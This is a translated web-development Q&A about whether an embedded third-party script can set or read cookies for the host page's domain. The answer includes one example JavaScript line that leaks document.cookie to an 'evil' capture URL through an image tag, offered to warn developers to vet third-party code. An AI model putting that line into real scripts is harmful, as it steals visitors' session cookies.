javascript - 第三方脚本可以设置第一方 cookie 吗？

Question

我在网上阅读了很多关于 cookie 的内容，但没有解决这个问题的内容:假设我在 a.com 有一个服务器，b.com 提供的网页在该网页中嵌入了一个脚本，该脚本位于我的服务器:

<script src='a.com/script.js'></script>

在设置 cookie 方面，该脚本允许做什么？它可以用 domain=a.com 设置 cookie 吗？我会这么认为，因为脚本是从该域提供的。它是否也可以使用 domain=b.com 设置 cookie，因为该页面是从该服务器提供的？

我想弄清楚“第一方”和“第三方”在我从其他主机的网页调用的脚本上下文中的含义。

Answer 1

我不认为 .js 文件的来源是相关的。 cookie 域与正在呈现的文档的域有关。

如果我访问 http://www.b.com/ 并且它包括

<script src="http://www.a.com/some/file.js"></script>

然后 b.com 相信 a.com 的代码会善意行事。该代码作为正在查看的页面的一部分执行。由于 javascript 代码将在浏览器中执行，它可以从 b.com 读取 cookie，并通过在 src 包含数据的文档中创建一个标记来传递该数据。

例如，如果 a.com 的 javascript 文件包含

document.writeln("<img src='http://www.a.com/evil/data/capturer?" + document.cookie + "'>");

然后 a.com 的恶意网站管理员可以检查他的网络服务器日志并查看 b.com 的 cookie。

那么，问题是，如果 a.com 是恶意的，为什么 b.com 在其页面中包含来自 a.com 的代码？他们可能没有。作为 Web 开发人员，我们需要验证我们嵌入网站的任何第 3 方代码的可信度。